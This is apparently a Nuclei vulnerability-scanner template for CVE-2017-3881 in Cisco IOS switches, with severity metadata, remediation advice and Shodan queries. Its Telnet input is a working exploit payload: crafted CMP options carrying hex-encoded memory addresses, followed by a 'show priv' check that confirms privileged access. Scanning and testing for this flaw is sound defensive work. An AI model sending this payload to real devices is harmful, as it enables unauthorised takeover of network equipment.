CVE-2017-3881: Cisco IOS 12.2(55)SE11 - Remote Code Execution

id: CVE-2017-3881

info:
  name: Cisco IOS 12.2(55)SE11 - Remote Code Execution
  author: dwisiswant0
  severity: critical
  description: |
    A vulnerability in the Cisco Cluster Management Protocol (CMP) processing code in Cisco IOS and Cisco IOS XE Software could allow an unauthenticated, remote attacker to cause a reload of an affected device or remotely execute code with elevated privileges. The Cluster Management Protocol utilizes Telnet internally as a signaling and command protocol between cluster members. The vulnerability is due to the combination of two factors: (1) the failure to restrict the use of CMP-specific Telnet options only to internal, local communications between cluster members and instead accept and process such options over any Telnet connection to an affected device; and (2) the incorrect processing of malformed CMP-specific Telnet options. An attacker could exploit this vulnerability by sending malformed CMP-specific Telnet options while establishing a Telnet session with an affected Cisco device configured to accept Telnet connections. An exploit could allow an attacker to execute arbitrary code and obtain full control of the device or cause a reload of the affected device. This affects Catalyst switches, Embedded Service 2020 switches, Enhanced Layer 2 EtherSwitch Service Module, Enhanced Layer 2/3 EtherSwitch Service Module, Gigabit Ethernet Switch Module (CGESM) for HP, IE Industrial Ethernet switches, ME 4924-10GE switch, RF Gateway 10, and SM-X Layer 2/3 EtherSwitch Service Module. Cisco Bug IDs: CSCvd48893.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected device.
  remediation: Deactivate a telnet connection or employ Access Control Lists (ACLs) to limit access.
  reference:
    - https://github.com/artkond/cisco-rce
    - https://artkond.com/2017/04/10/cisco-catalyst-remote-code-execution/
    - https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/auxiliary/dos/cisco/ios_telnet_rocem.md
    - https://nvd.nist.gov/vuln/detail/CVE-2017-3881
    - http://www.securitytracker.com/id/1038059
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-3881
    cwe-id: CWE-20
    epss-score: 0.93968
    epss-percentile: 0.99881
    cpe: cpe:2.3:o:cisco:ios:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: cisco
    product: ios
    shodan-query:
      - product:"cisco ios http config"
      - cpe:"cpe:2.3:o:cisco:ios"
  tags: cve2017,network,cve,cisco,rce,kev,msf,tcp

tcp:
  - host:
      - "{{Hostname}}"
      - "{{Host}}:23"

    inputs:
      - data: "{{hex_decode('fffa240003')}}CISCO_KITS{{hex_decode('01')}}2:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA{{hex_decode('000037b4023d55dc0000999c')}}BBBB{{hex_decode('00e1a9f4')}}CCCCDDDDEEEE{{hex_decode('00067b5c023d55c8')}}FFFFGGGG{{hex_decode('006cb3a000270b94')}}HHHHIIII{{hex_decode('014acf98')}}JJJJKKKKLLLL{{hex_decode('0114e7ec')}}:15:{{hex_decode('fff0')}}"
        read: 1024

      - data: "show priv"
        read: 1024
    read-size: 1024
    matchers:
      - type: word
        words:
          - "Current privilege level is"
# digest: 4a0a004730450220447134b51c7e3d10869597590c11f2cdd503e6191ce92f40414eb26c476c4bdb022100aec671bdc164a9cf3bd86c30a4c4addd3b62b12c774cf2670e74a6f9cc4db083:922c64590222798bb761d5b6d8e72950